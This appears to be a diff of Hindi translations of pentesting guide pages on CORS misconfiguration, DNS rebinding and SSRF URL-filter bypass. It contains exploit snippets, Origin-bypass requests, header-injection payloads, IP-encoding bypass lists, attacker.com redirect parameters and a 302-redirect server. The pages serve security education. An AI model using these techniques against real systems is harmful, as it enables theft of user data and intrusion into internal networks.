**क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS)** प्रोटोकॉल इस प्री-फ्लाइट जांच की मांग करता है ताकि अनुरोधित क्रॉस-ओरिजिन ऑपरेशन की व्यवहार्यता का निर्धारण किया जा सके, जो अनुमत विधियों, हेडरों और मूल की विश्वसनीयता की पुष्टि करता है। प्री-फ्लाइट अनुरोध की आवश्यकता से बचने के लिए किन परिस्थितियों का पालन किया जाता है, इसके लिए [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) द्वारा प्रदान किए गए व्यापक गाइड का संदर्भ लें।
यह ध्यान रखना महत्वपूर्ण है कि **प्री-फ्लाइट अनुरोध की अनुपस्थिति प्रतिक्रिया के लिए प्राधिकरण हेडर ले जाने की आवश्यकता को समाप्त नहीं करती है**। इन हेडरों के बिना, ब्राउज़र क्रॉस-ओरिजिन अनुरोध से प्रतिक्रिया को संसाधित करने में असमर्थ है।
@ -116,7 +116,7 @@ Access-Control-Max-Age: 240
### **स्थानीय नेटवर्क अनुरोध प्री-फ्लाइट अनुरोध**
1. **`Access-Control-Request-Local-Network`**: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि यह संकेत दिया जा सके कि पूछताछ स्थानीय नेटवर्क संसाधन की ओर लक्षित है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में कार्य करता है कि अनुरोध स्थानीय नेटवर्क के भीतर से उत्पन्न होता है।
1. **`Access-Control-Request-Local-Network`**: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि यह संकेत दिया जा सके कि पूछताछ एक स्थानीय नेटवर्क संसाधन के लिए है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में कार्य करता है कि अनुरोध स्थानीय नेटवर्क के भीतर से उत्पन्न होता है।
2. **`Access-Control-Allow-Local-Network`**: इसके जवाब में, सर्वर इस हेडर का उपयोग यह संप्रेषित करने के लिए करते हैं कि अनुरोधित संसाधन को स्थानीय नेटवर्क के बाहर की संस्थाओं के साथ साझा करने की अनुमति है। यह विभिन्न नेटवर्क सीमाओं के पार संसाधनों को साझा करने के लिए एक हरी बत्ती के रूप में कार्य करता है, जबकि सुरक्षा प्रोटोकॉल को बनाए रखते हुए नियंत्रित पहुंच सुनिश्चित करता है।
एक **मान्य प्रतिक्रिया जो स्थानीय नेटवर्क अनुरोध की अनुमति देती है** को प्रतिक्रिया में हेडर `Access-Controls-Allow-Local_network: true` भी होना चाहिए:
@ -133,7 +133,7 @@ Content-Length: 0
{% hint style="warning" %}
ध्यान दें कि लिनक्स **0.0.0.0** आईपी इन आवश्यकताओं को **बायपास** करने के लिए काम करता है ताकि localhost तक पहुंचा जा सके क्योंकि उस आईपी पते को "स्थानीय" नहीं माना जाता है।
यदि आप **स्थानीय एंडपॉइंट का सार्वजनिक आईपी पता** (जैसे राउटर का सार्वजनिक आईपी) का उपयोग करते हैं तो **स्थानीय नेटवर्क आवश्यकताओं को बायपास करना** भी संभव है। क्योंकि कई अवसरों पर, भले ही **सार्वजनिक आईपी** तक पहुंचा जा रहा हो, यदि यह **स्थानीय नेटवर्क** से है, तो पहुंच दी जाएगी।
यदि आप **स्थानीय एंडपॉइंट** का **सार्वजनिक आईपी पता** (जैसे राउटर का सार्वजनिक आईपी) का उपयोग करते हैं तो **स्थानीय नेटवर्क आवश्यकताओं को बायपास करना** भी संभव है। क्योंकि कई अवसरों पर, भले ही **सार्वजनिक आईपी** तक पहुंचा जा रहा हो, यदि यह **स्थानीय नेटवर्क** से है, तो पहुंच दी जाएगी।
{% endhint %}
### वाइल्डकार्ड
@ -147,15 +147,15 @@ Access-Control-Allow-Credentials: true
## शोषणीय गलत कॉन्फ़िगरेशन
यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** पर सेट करना अधिकांश **वास्तविक हमलों** के लिए एक पूर्वापेक्षा है। यह सेटिंग ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, जिससे हमले की प्रभावशीलता बढ़ती है। इसके बिना, ब्राउज़र द्वारा अनुरोध करने का लाभ स्वयं करने की तुलना में कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का लाभ उठाना असंभव हो जाता है।
यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** पर सेट करना अधिकांश **वास्तविक हमलों** के लिए एक पूर्वापेक्षा है। यह सेटिंग ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, जिससे हमले की प्रभावशीलता बढ़ती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने का लाभ स्वयं करने की तुलना में कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का लाभ उठाना असंभव हो जाता है।
### अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण
एक अपवाद है जहा पीड़ित का नेटवर्क स्थान प्रमाणीकरण के एक रूप के रूप में कार्य करता है। यह पीड़ित के ब्राउज़र का उपयोग एक प्रॉक्सी के रूप में करने की अनुमति देता है, आईपी-आधारित प्रमाणीकरण को दरकिनार करते हुए इंट्रानेट अनुप्रयोगों तक पहुँचने के लिए। यह विधि DNS रीबाइंडिंग के प्रभाव में समानताएँ साझा करती है लेकिन इसे शोषण करना सरल है।
एक अपवाद है जहा पीड़ित का नेटवर्क स्थान प्रमाणीकरण के एक रूप के रूप में कार्य करता है। यह पीड़ित के ब्राउज़र का उपयोग प्रॉक्सी के रूप में करने की अनुमति देता है, आईपी-आधारित प्रमाणीकरण को दरकिनार करते हुए इंट्रानेट अनुप्रयोगों तक पहुँचने के लिए। यह विधि DNS रीबाइंडिंग के प्रभाव में समानताएँ साझा करती है लेकिन इसे शोषण करना सरल है।
### `Access-Control-Allow-Origin` में `Origin` का परावर्तन
वास्तविक परिदृश्य जहा `Origin` हेडर का मान `Access-Control-Allow-Origin` में परावर्तित होता है, सिद्धांत रूप से असंभव है क्योंकि इन हेडरों को संयोजित करने पर प्रतिबंध हैं। हालाँकि, डेवलपर्स जो कई URL के लिए CORS सक्षम करना चाहते हैं, वे `Origin` हेडर के मान को कॉपी करके `Access-Control-Allow-Origin` हेडर को गतिशील रूप से उत्पन्न कर सकते हैं। यह दृष्टिकोण कमजोरियों को पेश कर सकता है, विशेष रूप से जब एक हमलावर एक ऐसा डोमेन उपयोग करता है जिसका नाम वैध दिखने के लिए डिज़ाइन किया गया है, जिससे प्रमाणीकरण लॉजिक को धोखा दिया जा सके।
वास्तविक परिदृश्य जहा `Origin` हेडर का मान `Access-Control-Allow-Origin` में परावर्तित होता है, सिद्धांत रूप से असंभव है क्योंकि इन हेडरों को संयोजित करने पर प्रतिबंध हैं। हालाँकि, डेवलपर्स जो कई URL के लिए CORS सक्षम करना चाहते हैं, वे `Origin` हेडर के मान को कॉपी करके `Access-Control-Allow-Origin` हेडर को गतिशील रूप से उत्पन्न कर सकते हैं। यह दृष्टिकोण कमजोरियों को पेश कर सकता है, विशेष रूप से जब एक हमलावर एक ऐसा डोमेन उपयोग करता है जिसका नाम वैध प्रतीत होने के लिए डिज़ाइन किया गया है, जिससे मान्यता लॉजिक को धोखा दिया जा सके।
```html
<script>
var req = new XMLHttpRequest();
@ -210,9 +210,9 @@ Regex पैटर्न आमतौर पर अल्फ़ान्यू
### एक सबडोमेन के अंदर XSS से
डेवलपर्स अक्सर CORS शोषण से बचाने के लिए सुरक्षा तंत्र लागू करते हैं, उन डोमेन को व्हाइटलिस्ट करके जिन्हें जानकारी मांगने की अनुमति है। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेनों के भीतर एक भी कमजोर सबडोमेन की उपस्थिति अन्य कमजोरियों, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग) के माध्यम से CORS शोषण के लिए दरवाज खोल सकती है।
डेवलपर्स अक्सर CORS शोषण से बचाने के लिए सुरक्षा तंत्र लागू करते हैं, उन डोमेन को व्हाइटलिस्ट करके जिन्हें जानकारी मांगने की अनुमति है। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेनों के भीतर एक भी कमजोर सबडोमेन की उपस्थिति अन्य कमजोरियों, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग) के माध्यम से CORS शोषण के लिए दरवाज खोल सकती है।
उदाहरण के लिए, उस परिदृश्य पर विचार करें जहा एक डोमेन, `requester.com`, को दूसरे डोमेन, `provider.com` से संसाधनों तक पहुँचने के लिए व्हाइटलिस्ट किया गया है। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस तरह दिख सकता है:
उदाहरण के लिए, उस परिदृश्य पर विचार करें जहा एक डोमेन, `requester.com`, को दूसरे डोमेन, `provider.com`, से संसाधनों तक पहुँचने के लिए व्हाइटलिस्ट किया गया है। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस तरह दिख सकता है:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -220,11 +220,11 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
इस सेटअप में, `requester.com` के सभी सबडोमेन को एक्सेस की अनुमति है। हालाँकि, यदि कोई सबडोमेन, जैसे `sub.requester.com`, XSS कमजोरियों के साथ समझौता किया गया है, तो एक हमलावर इस कमजोरी का लाभ उठा सकता है। उदाहरण के लिए, `sub.requester.com` तक पहुँच रखने वाला एक हमलावर XSS कमजोरी का उपयोग करके CORS नीतियों को बायपास कर सकता है और `provider.com` पर संसाधनों तक दुर्भावनापूर्ण तरीके से पहुँच प्राप्त कर सकता है।
इस सेटअप में, `requester.com` के सभी सबडोमेन को एक्सेस की अनुमति है। हालाँकि, यदि कोई सबडोमेन, जैसे `sub.requester.com`, XSS कमजोरियों के साथ समझौता किया गया है, तो एक हमलावर इस कमजोरी का लाभ उठा सकता है। उदाहरण के लिए, `sub.requester.com` तक पहुँच रखने वाला एक हमलावर XSS कमजोरी का उपयोग करके CORS नीतियों को बायपास कर सकता है और `provider.com` पर संसाधनों तक दुर्भावनापूर्ण तरीके से पहुँच सकता है।
### **विशेष वर्ण**
PortSwigger का [URL मान्यता बायपास चीट शीट](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) ने पाया कि कुछ ब्राउज़र डोमेन नामों के भीतर अजीब वर्णों का समर्थन करते हैं।
PortSwigger का [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) ने पाया कि कुछ ब्राउज़र डोमेन नामों के भीतर अजीब वर्णों का समर्थन करते हैं।
Chrome और Firefox अंडरस्कोर `_` का समर्थन करते हैं जो `Origin` हेडर को मान्य करने के लिए लागू किए गए regexes को बायपास कर सकते हैं:
```
@ -238,7 +238,7 @@ HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari विशेष वर्णों को डोमेन नाम में स्वीकार करने में और भी अधिक लचीला है:
Safari विशेष वर्णों को डोमेन नाम में स्वीकार करने में और भी लचीला है:
```
GET / HTTP/2
Cookie: <session_cookie>
@ -251,13 +251,19 @@ Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **अन्य मजेदार URL ट्रिक्स**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
### **सर्वर-साइड कैश पॉइज़निंग**
[**इस शोध से**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
यह संभव है कि HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का लाभ उठाकर एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता उत्पन्न की जा सके। यह परिदृश्य तब सामने आता है जब एक एप्लिकेशन अवैध वर्णों के लिए `Origin` हेडर को साफ़ करने में विफल रहता है, जो विशेष रूप से इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक भेद्यता उत्पन्न करता है। ये ब्राउज़र (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में मानते हैं, जिससे HTTP हेडर इंजेक्शन भेद्यताएँ उत्पन्न होती हैं।
यह संभव है कि HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का लाभ उठाकर, एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता उत्पन्न की जा सके। यह परिदृश्य तब सामने आता है जब एक एप्लिकेशन अवैध वर्णों के लिए `Origin` हेडर को साफ़ करने में विफल रहता है, जो विशेष रूप से इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक भेद्यता उत्पन्न करता है। ये ब्राउज़र (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में मानते हैं, जिससे HTTP हेडर इंजेक्शन भेद्यताएँ उत्पन्न होती हैं।
स अनुरोध पर विचार करें जहाँ `Origin` हेडर को हेरफेर किया गया है:
स अनुरोध पर विचार करें जहाँ `Origin` हेडर को हेरफेर किया गया है:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@ -272,7 +278,7 @@ While directly exploiting this vulnerability by making a web browser send a malf
For further reading on stored XSS vulnerabilities, see [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Note**: HTTP हेडर इंजेक्शन कमजोरियों का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता-प्रदत्त इनपुट, जिसमें HTTP हेडर शामिल हैं, को मान्य और स्वच्छ करने के महत्व को रेखांकित करता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यता शामिल हो ताकि ऐसी कमजोरियों को रोका जा सके।
**Note**: HTTP हेडर इंजेक्शन कमजोरियों का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता-प्रदत्त इनपुट, जिसमें HTTP हेडर शामिल हैं, को मान्य और स्वच्छ करने के महत्व को उजागर करता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यता शामिल हो ताकि ऐसी कमजोरियों को रोका जा सके।
### **Client-Side cache poisoning**
@ -280,7 +286,7 @@ For further reading on stored XSS vulnerabilities, see [PortSwigger](https://por
In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.
Cross-Origin Resource Sharing (CORS) नीतियाँ कस्टम हेडर भेजने की अनुमति देती हैं। हालांकि, बिना CORS प्रतिबंधों के कारण ब्राउज़र द्वारा प्रतिक्रिया को सीधे प्रस्तुत किए बिना, ऐसी इंजेक्शन की उपयोगिता सीमित लग सकती है। महत्वपूर्ण बिंदु तब आता है जब ब्राउज़र के कैश व्यवहार पर विचार किया जाता है। यदि `Vary: Origin` हेडर निर्दिष्ट नहीं किया गया है, तो यह संभव हो जाता है कि दुर्भावनापूर्ण प्रतिक्रिया को ब्राउज़र द्वारा कैश किया जाए। इसके बाद, यह कैश की गई प्रतिक्रिया सीधे URL पर नेविगेट करते समय प्रस्तुत की जा सकती है, प्रारंभिक अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को दरकिनार करते हुए। यह तंत्र हमले की विश्वसनीयता को बढ़ाता है क्योंकि यह क्लाइंट-साइड कैशिंग का लाभ उठाता है।
Cross-Origin Resource Sharing (CORS) नीतियाँ कस्टम हेडर भेजने की अनुमति देती हैं। हालांकि, CORS प्रतिबंधों के कारण यदि प्रतिक्रिया को सीधे ब्राउज़र द्वारा प्रस्तुत नहीं किया जाता है, तो ऐसी इंजेक्शन की उपयोगिता सीमित लग सकती है। महत्वपूर्ण बिंदु तब आता है जब ब्राउज़र के कैश व्यवहार पर विचार किया जाता है। यदि `Vary: Origin` हेडर निर्दिष्ट नहीं किया गया है, तो यह संभव हो जाता है कि दुर्भावनापूर्ण प्रतिक्रिया को ब्राउज़र द्वारा कैश किया जाए। इसके बाद, यह कैश की गई प्रतिक्रिया सीधे URL पर नेविगेट करते समय प्रस्तुत की जा सकती है, प्रारंभिक अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को दरकिनार करते हुए। यह तंत्र हमले की विश्वसनीयता को बढ़ाता है क्योंकि यह क्लाइंट-साइड कैशिंग का लाभ उठाता है।
To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.
@ -316,7 +322,7 @@ XSSI, जिसे Cross-Site Script Inclusion के नाम से भी
`Access-Control-Allow-Origin` प्रतिबंध को बायपास करने का एक तरीका यह है कि एक वेब अनुप्रयोग से आपके पक्ष में अनुरोध करने के लिए कहा जाए और प्रतिक्रिया वापस भेजी जाए। हालाँकि, इस परिदृश्य में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक अलग डोमेन पर किया गया है।
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को इसके हेडर के साथ आगे बढ़ाता है, जबकि अनुरोधित डोमेन से मेल खाने के लिए Origin हेडर को भी स्पूफ करता है। यह प्रभावी रूप से CORS नीति को बायपास करता है। यहाँ XMLHttpRequest के साथ उपयोग का एक उदाहरण है:
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को इसके हेडर के साथ आगे बढ़ाता है, जबकि अनुरोधित डोमेन से मेल खाने के लिए Origin हेडर को भी स्पूफ करता है। यह प्रभावी रूप से CORS नीति को बायपास करता है। यहाँ XMLHttpRequest के साथ एक उदाहरण उपयोग है:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): यह उपकरण अनुरोधों को प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। आपके अनुरोध को जैसा है वैसा पास करने के बजाय, सर्वर निर्दिष्ट पैरामीटर के साथ अपना स्वयं का अनुरोध करता है।
### Iframe + Popup Bypass
@ -352,10 +358,10 @@ DNS रीबाइंडिंग पीड़ित द्वारा कि
DNS कैश बाढ़ के माध्यम से DNS रीबाइंडिंग एक और तकनीक है जिसका उपयोग ब्राउज़रों के कैशिंग तंत्र को बायपास करने और एक दूसरा DNS अनुरोध करने के लिए किया जाता है। यह कैसे काम करता है:
1. प्रारंभ में, जब पीड़ित एक DNS अनुरोध करता है, तो इसे हमलावर के IP पते के साथ उत्तर दिया जाता है।
2. कैशिंग रक्षा को बायपास करने के लिए, हमलावर एक सेवा कार्यकर्ता का लाभ उठाता है। सेवा कार्यकर्ता DNS कैश को बाढ़ देता है, जो प्रभावी रूप से कैश किए गए हमलावर सर्वर नाम को हटा देता है।
2. कैशिंग रक्षा को बायपास करने के लिए, हमलावर एक सेवा कार्यकर्ता का लाभ उठाता है। सेवा कार्यकर्ता DNS कैश को बाढ़ करता है, जो प्रभावी रूप से कैश किए गए हमलावर सर्वर नाम को हटा देता है।
3. जब पीड़ित का ब्राउज़र एक दूसरा DNS अनुरोध करता है, तो इसे अब IP पते 127.0.0.1 के साथ उत्तर दिया जाता है, जो आमतौर पर लोकलहोस्ट को संदर्भित करता है।
सेवा कार्यकर्ता के साथ DNS कैश को बाढ़ देकर, हमलावर DNS समाधान प्रक्रिया को हेरफेर कर सकता है और पीड़ित के ब्राउज़र को एक दूसरा अनुरोध करने के लिए मजबूर कर सकता है, इस बार हमलावर के इच्छित IP पते पर हल किया जा रहा है।
सेवा कार्यकर्ता के साथ DNS कैश को बाढ़ करके, हमलावर DNS समाधान प्रक्रिया को हेरफेर कर सकता है और पीड़ित के ब्राउज़र को एक दूसरा अनुरोध करने के लिए मजबूर कर सकता है, इस बार हमलावर के इच्छित IP पते पर हल किया जा रहा है।
### DNS Rebinding via **Cache**
@ -366,13 +372,13 @@ DNS कैश बाढ़ के माध्यम से DNS रीबाइ
3. यदि ब्राउज़र पहले हमलावर के IP पते का उपयोग करने का निर्णय लेता है, तो हमलावर एक पेलोड प्रदान कर सकता है जो उसी डोमेन पर HTTP अनुरोध करता है।
4. हालाँकि, एक बार जब हमलावर पीड़ित के IP पते को प्राप्त कर लेता है, तो वे पीड़ित के ब्राउज़र को उत्तर देना बंद कर देते हैं।
5. पीड़ित का ब्राउज़र, यह realizing कि डोमेन अनुत्तरदायी है, दूसरे दिए गए IP पते का उपयोग करने के लिए आगे बढ़ता है।
6. दूसरे IP पते तक पहुँचकर, ब्राउज़र Same Origin Policy (SOP) को बायपास करता है, जिससे हमलावर इसका दुरुपयोग कर सकता है और जानकारी एकत्र और एक्सफिल्ट्रेट कर सकता है।
6. दूसरे IP पते तक पहुँचकर, ब्राउज़र Same Origin Policy (SOP) को बायपास करता है, जिससे हमलावर को इसका दुरुपयोग करने और जानकारी एकत्र करने और निकालने की अनुमति मिलती है।
यह तकनीक उन ब्राउज़रों के व्यवहार का लाभ उठाती है जब एक डोमेन के लिए कई IP पते प्रदान किए जाते हैं। प्रतिक्रियाओं को रणनीतिक रूप से नियंत्रित करके और ब्राउज़र के IP पते के चयन में हेरफेर करके, एक हमलावर SOP का शोषण कर सकता है और पीड़ित से जानकारी प्राप्त कर सकता है।
{% hint style="warning" %}
यह ध्यान दें कि लोकलहोस्ट तक पहुँचने के लिए आपको Windows में **127.0.0.1** और Linux में **0.0.0.0** को रीबाइंड करने का प्रयास करना चाहिए।\
प्रदाताओं जैसे godaddy या cloudflare ने मुझे IP 0.0.0.0 का उपयोग करने की अनुमति नहीं दी, लेकिन AWS route53 ने मुझे 2 IPs के साथ एक A रिकॉर्ड बनाने की अनुमति दी, जिनमें से एक "0.0.0.0" है।
ध्यान दें कि लोकलहोस्ट तक पहुँचने के लिए आपको Windows में **127.0.0.1** और Linux में **0.0.0.0** को रीबाइंड करने का प्रयास करना चाहिए।\
जैसे godaddy या cloudflare जैसे प्रदाताओं ने मुझे IP 0.0.0.0 का उपयोग करने की अनुमति नहीं दी, लेकिन AWS route53 ने मुझे 2 IPs के साथ एक A रिकॉर्ड बनाने की अनुमति दी, जिनमें से एक "0.0.0.0" है।
<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
{% endhint %}
@ -395,7 +401,7 @@ DNS कैश बाढ़ के माध्यम से DNS रीबाइ
* आंतरिक सेवाओं में TLS का उपयोग करें
* डेटा तक पहुँचने के लिए प्रमाणीकरण का अनुरोध करें
* होस्ट हेडर को मान्य करें
* Host हेडर को मान्य करें
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): प्रस्ताव जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुँच प्राप्त करना चाहते हैं तो हमेशा एक प्री-फ्लाइट अनुरोध भेजने के लिए
## **Tools**

View file

@ -60,6 +60,10 @@ http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
# Add 0s bypass
127.000000000000.1
@ -86,7 +90,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../.gitbook/assets/image (776).png>)
**Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फॉर्मेटिंग बायपास को लागू करता है।
**Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फॉर्मेटिंग बायपास को लागू करता है।
### डोमेन पार्सर
```bash
@ -154,7 +158,7 @@ next={domain}&next=attacker.com
```
### Paths and Extensions Bypass
यदि आपसे यह आवश्यक है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं:
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -166,12 +170,14 @@ The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए
### Automatic Custom Wordlists
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का एक परिचय दे सकते हैं और यह आपके लिए प्रयास करने के लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक होस्ट हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का होस्ट डाल सकते हैं और यह आपके लिए प्रयास करने के लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक Host हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
### Bypass via redirect
यह संभव है कि सर्वर SSRF के **मूल अनुरोध को फ़िल्टर कर रहा हो** **लेकिन** उस अनुरोध के लिए संभावित **रीडायरेक्ट** प्रतिक्रिया को नहीं।\
उदाहरण के लिए, एक सर्वर जो SSRF के प्रति संवेदनशील है: `url=https://www.google.com/` संभवतः **url पैरामीटर को फ़िल्टर कर रहा हो**। लेकिन यदि आप एक [python सर्वर का उपयोग करते हैं जो 302 के साथ प्रतिक्रिया करता है](https://pastebin.com/raw/ywAUhFrv) उस स्थान पर जहाँ आप रीडायरेक्ट करना चाहते हैं, तो आप **फ़िल्टर किए गए IP पते** जैसे 127.0.0.1 या यहां तक कि फ़िल्टर किए गए **प्रोटोकॉल** जैसे gopher तक पहुँच सकते हैं।\
उदाहरण के लिए, एक सर्वर जो SSRF के प्रति संवेदनशील है: `url=https://www.google.com/` संभवतः **url पैरामीटर को फ़िल्टर कर रहा हो**। लेकिन यदि आप [एक पायथन सर्वर का उपयोग करते हैं जो 302 के साथ प्रतिक्रिया करता है](https://pastebin.com/raw/ywAUhFrv) उस स्थान पर जहाँ आप रीडायरेक्ट करना चाहते हैं, तो आप **फ़िल्टर किए गए IP पते** जैसे 127.0.0.1 या यहां तक कि फ़िल्टर किए गए **प्रोटोकॉल** जैसे gopher तक पहुँच सकते हैं।\
[इस रिपोर्ट को देखें।](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -197,10 +203,14 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Blackslash-trick
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URIs के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और इसे आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो यह प्रभावित करता है कि URLs कैसे पार्स किए जाते हैं, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करना।
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URI के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और इसे आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो यह प्रभावित करता है कि URLs को कैसे पार्स किया जाता है, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करना।
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Left square bracket
उपयोगकर्ता जानकारी खंड में “बाएं वर्ग ब्रैकेट” चरित्र `[` Spring के UriComponentsBuilder को एक होस्टनेम मान लौटाने का कारण बन सकता है जो ब्राउज़रों से भिन्न होता है: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Other Confusions
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
@ -211,6 +221,7 @@ image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
